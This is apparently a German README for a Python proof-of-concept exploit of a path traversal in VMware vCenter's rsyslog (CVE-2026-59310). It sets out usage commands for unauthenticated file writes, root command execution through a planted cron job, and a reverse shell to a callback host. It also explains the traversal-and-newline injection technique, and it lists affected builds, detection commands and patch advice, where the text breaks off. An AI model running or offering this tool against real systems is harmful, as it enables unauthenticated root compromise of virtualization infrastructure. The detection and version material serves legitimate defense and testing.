
Python-PoC für CVE-2026-59310: nutzt den rsyslog-Path-Traversal in vCenter aus, um Dateien zu schreiben und Befehle als root über cron auszuführen, mit den Modi check, exec, shell und cleanup.
Deutsch | 中文
Optimierter Fork von ChinaRan0/CVE-2026-59310-POC. Die Schwachstellenanalyse folgt diesem Projekt. Dieser Baum überarbeitet den Client und die Dokumentation für autorisierte Tests: Unterbefehle, ein einmaliger Cron-Job und eine interaktive Shell auf einem entfernten PTY.
Nur zur autorisierten Verwendung. Führen Sie dies nur gegen Systeme aus, für deren Test Sie eine ausdrückliche schriftliche Genehmigung besitzen. Sie sind dafür verantwortlich, geltendes Recht einzuhalten und für alle Auswirkungen auf das Zielsystem.
| CVE | CVE-2026-59310 |
| Advisory | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 Kritisch |
| Schwachstelle | Path Traversal in vCenter rsyslog → beliebiges Schreiben von Dateien → Codeausführung als root |
| Erforderliche Berechtigungen | Keine. Netzwerkzugriff auf syslog (UDP/TCP 514) genügt |
| Behoben in | 9.0.2.0100 (Build 25629525), 9.1.0.0300, 8.0 U3k, 8.0 U2f |
| Upstream | ChinaRan0/CVE-2026-59310-POC |
| Upstream | Dieser Fork | |
|---|---|---|
| CLI | -c, --lhost und --check in einem Parser | Unterbefehle check, exec, shell, cleanup |
| Cron | Wiederholt sich jede Minute | Löscht seine eigene Datei und läuft dann einmal |
| Quoting | Befehlstext wird in die Shell konkateniert | shlex.quote, sodass Anführungszeichen die Cron-Zeile nicht aufteilen können |
| Shell | Lokale Fake-Eingabeaufforderung, Zeile für Zeile | Entferntes PTY, Tastenanschlag-Weiterleitung, entfernte Farben und Tab-Vervollständigung |
| Bereinigung | Gibt rm-Hinweise aus | Platziert einen einmaligen Job, der Artefakte für --id entfernt |
| Listener | Gebunden an 0.0.0.0 | --bind wählt die lokale Adresse |
shell benötigt python3 auf dem Ziel. Das vCenter Server Appliance enthält es. Die Sitzung verwendet pty.spawn, damit die Shell ein echtes Terminal hat.python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec und shell schreiben eine Cron-Datei, die crond etwa 60 Sekunden später einmalig ausführt. cleanup ohne --id entfernt jedes Artefakt, das das Präfix cve59310 verwendet.
| Option | Bedeutung |
|---|---|
--port | Syslog-Port. Standard 514. |
--tcp | Syslog über TCP statt UDP senden. |
--id | Artefakt-ID: 1–32 Zeichen, [a-z0-9]. Zufällig, wenn weggelassen. |
-q | Banner unterdrücken. |
exec| Option | Bedeutung |
|---|---|
-c / --cmd | Auszuführender Befehl. Kombinierte stdout und stderr gehen nach /tmp/cve59310_<id>.txt. |
--wait | Abfragen, bis die Ausgabedatei lesbar ist oder bis zum Timeout. |
--timeout | Sekunden für --wait. Standard 180. |
--read-command | Lokale argv-Vorlage. {path} ist der entfernte Ausgabepfad. |
--wait erfordert --read-command, zum Beispiel ssh root@target cat {path}. Die Vorlage wird mit shlex aufgeteilt und nicht durch eine lokale Shell geleitet. Ein Befehl wie a; b wird als { a; b; } > file gruppiert, sodass beide Teile erfasst werden.
shell| Option | Bedeutung |
|---|---|
--lhost / --lport | Adresse und Port, zu denen das Ziel zurückverbindet. Port-Standard 4444. |
--bind | Lokale Listen-Adresse. Standard 0.0.0.0. |
--method {bash,python} | Welches Programm den Socket öffnet. Standard bash. Beide verwenden anschließend das python3 des Ziels, um ein PTY zuzuweisen. |
--timeout | Sekunden, um auf den Callback zu warten. Standard 180. |
Prompt, Farben und Tab-Vervollständigung stammen von der Bash des Ziels. Ctrl+] schließt die lokale Seite. exit beendet die entfernte Shell. Führen Sie shell in einem echten Terminal aus; ein zeilengepufferter Client kann nicht vervollständigen.
| Aktion | Pfad |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log und /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log, vom Job selbst nach seiner Ausführung entfernt |
Notieren Sie --id. cleanup <target> --id <id> löscht diesen Lauf. Ohne --id löscht der Cleanup-Job das gesamte Präfix cve59310.
| Ziel | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Behobener Build | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| Einstieg | UDP/TCP 514, keine Authentifizierung |
In diesem Build erstellt check eine Datei im Besitz von root unter /tmp, exec mit id gibt nach etwa einer Minute uid=0(root) zurück, und shell zeigt den Prompt des Ziels (root [ / ]#, einschließlich seiner Farben).
Alles, was älter ist als der behobene Build in seinem Zweig. Standalone vCenter ist betroffen, ebenso die vCenter-Komponenten in VMware Cloud Foundation, vSphere Foundation und Telco Cloud.
| Zweig | Betroffen | Behoben |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | alle | Upgrade auf 8.0 U3k oder höher |
| 7.0 | fehlender passender Patch | Patch von Broadcom beziehen oder auf eine unterstützte Version wechseln |
/sdk/vimServiceVersions.xml meldet den API-Namespace (oft 9.0.0.0), nicht den Appliance-Build. Bestätigen Sie den Build mit /etc/vmware-release und /etc/applmgmt/appliance/version.
Die rsyslog-Konfiguration von vCenter interpoliert %app-name% in den Log-Pfad und lässt $EscapeControlCharactersOnReceive off:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164 schneidet APP-NAME bei / ab. pmrfc5424 tut dies nicht, und das Standard-Regelset akzeptiert RFC5424. Ein manipulierter APP-NAME wie rsyslog/../../../../tmp/x wird daher außerhalb von /var/log/vmware/ als root-eigene *-syslog.log-Datei geschrieben. Ein Zeilenumbruch im Nachrichtentext ermöglicht es, dass eine Cron-Zeile in Spalte 0 beginnt, sodass crond sie als root ausführt. Der Dateiname endet immer auf -syslog.log, weshalb die Cron-Datei unter /etc/cron.d/ liegt und nicht eine suffixfreie Crontab ersetzt.
| Parser | Wert von %app-name% für rsyslog/../../../../tmp/x |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
Die Herstellerempfehlung beschreibt außerdem das Schreiben unter /opt/vmware/share/htdocs/ und das Zurücklesen über https://<target>:5480/.
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
*-syslog.log-Dateien außerhalb der Log-Verzeichnisse sowie Verzeichnisse, deren Namen .. enthalten, sind die üblichen Rückstände. rsyslog erstellt fehlende übergeordnete Verzeichnisse, wenn das Template den Log-Baum verlässt.
Aktualisieren. Im 9.0-Zweig ist der minimale korrigierte Build 9.0.2.0100 (Build 25629525).
Bis zu diesem Upgrade: